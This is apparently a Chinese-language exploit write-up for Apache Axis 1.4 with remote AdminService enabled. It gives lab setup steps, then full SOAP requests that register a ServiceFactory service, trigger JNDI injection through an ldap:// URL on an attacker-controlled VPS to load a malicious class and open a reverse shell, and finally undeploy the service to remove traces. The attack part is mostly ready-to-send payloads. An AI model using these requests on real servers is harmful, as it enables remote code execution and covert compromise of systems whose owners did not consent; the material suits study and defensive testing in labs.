最近利用一个漏洞Axis 1.4 adminservice开启远程访问下可新建服务执行任意方法, 写文件出现问题可试试本文利用默认包中的jndi注入恶意class执行反弹shell

0x01 漏洞形成前提

AdminService enableRemoteAdmin == True

0x02 本地搭建

axis bin包解压后将webapps下axis复制到tomcat环境下的webapps目录下：
http://mirror.navercorp.com/apache/axis/axis/java/1.4/

1. 更新环境变量

执行本地构建命令时需要环境变量找到jar包路径

vim ~/.profile

export AXIS_HOME=/var/lib/tomcat8/webapps/axis
export AXIS_LIB=$AXIS_HOME/WEB-INF/lib
export AXISCLASSPATH=$AXIS_LIB/axis.jar:$AXIS_LIB/commons-discovery-0.2.jar:$AXIS_LIB/commons-logging-1.0.4.jar:$AXIS_LIB/jaxrpc.jar:$AXIS_LIB/saaj.jar:$AXIS_LIB/log4j-1.2.8.jar:$AXIS_LIB/xml-apis.jar:$AXIS_LIB/xercesImpl.jar:$AXIS_LIB/wsdl4j-1.5.1.jar

source ~/.profile

2.开启RemoteAdmin服务

webapps/axis/WEB-INF/deploy.wsdd

<deployment xmlns="http://xml.apache.org/axis/wsdd/"
    xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
  <service name="AdminService" provider="java:MSG">
    <parameter name="className" value="org.apache.axis.utils.Admin"/>
    <parameter name="allowedMethods" value="*"/>
    <parameter name="enableRemoteAdmin" value="true"/>
  </service>
</deployment>

3.部署刷新配置

java -cp $AXISCLASSPATH org.apache.axis.client.AdminClient deploy.wsdd

0x03 源码找到一处jndi调用

1.检索所有默认可用的jar包：

其中发现org.apache.axis.client.ServiceFactory下getService服务中进行了context.lookup操作，也就是说我们注册这个方法并调用传递恶意ldap服务即可完成攻击：

0x04 利用过程

1.注册服务：

POST /axis/services/AdminService HTTP/1.1
Host: 192.168.123.136:8080
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5
SOAPAction: something

Content-Type: application/xml
Accept-Encoding: gzip, deflate
Content-Length: 737

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soapenv:Body>
    <ns1:deployment xmlns:ns1="http://xml.apache.org/axis/wsdd/" xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
      <ns1:service name="test1Service" provider="java:RPC">
        <ns1:parameter name="className" value="org.apache.axis.client.ServiceFactory"/>
        <ns1:parameter name="allowedMethods" value="*"/>
      </ns1:service>
    </ns1:deployment>
  </soapenv:Body>
</soapenv:Envelope>

2.调用jndi服务：

访问创建的test1Service进行jndi注入：

POST /axis/services/test1Service HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0

Accept-Encoding: gzip, deflate

Connection: close
SOAPAction:

<?xml version="1.0" encoding="utf-8"?>

  <soapenv:Header/>
  <soapenv:Body>
    <buil:getService soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
      <environment xmlns:apachesoap="http://xml.apache.org/xml-soap" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xsi:type="apachesoap:Map">
        <item>
          <key xsi:type="soapenc:string">jndiName</key>
          <value xsi:type="soapenc:string">ldap://[vps_adress]:1389/Reverse1</value>
        </item>
      </environment>
    </buil:getService>
  </soapenv:Body>
</soapenv:Envelope>

3.marshalsec ldap 反弹shell：

4.卸载服务:

POST /axis/services/AdminService HTTP/1.1
Host: 192.168.123.136:8080
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept-Language: en-US,en;q=0.5
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Content-Length: 463

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
<undeployment xmlns="http://xml.apache.org/axis/wsdd/">
 <service name="test1Service"/>
</undeployment>
  </soapenv:Body>
</soapenv:Envelope>
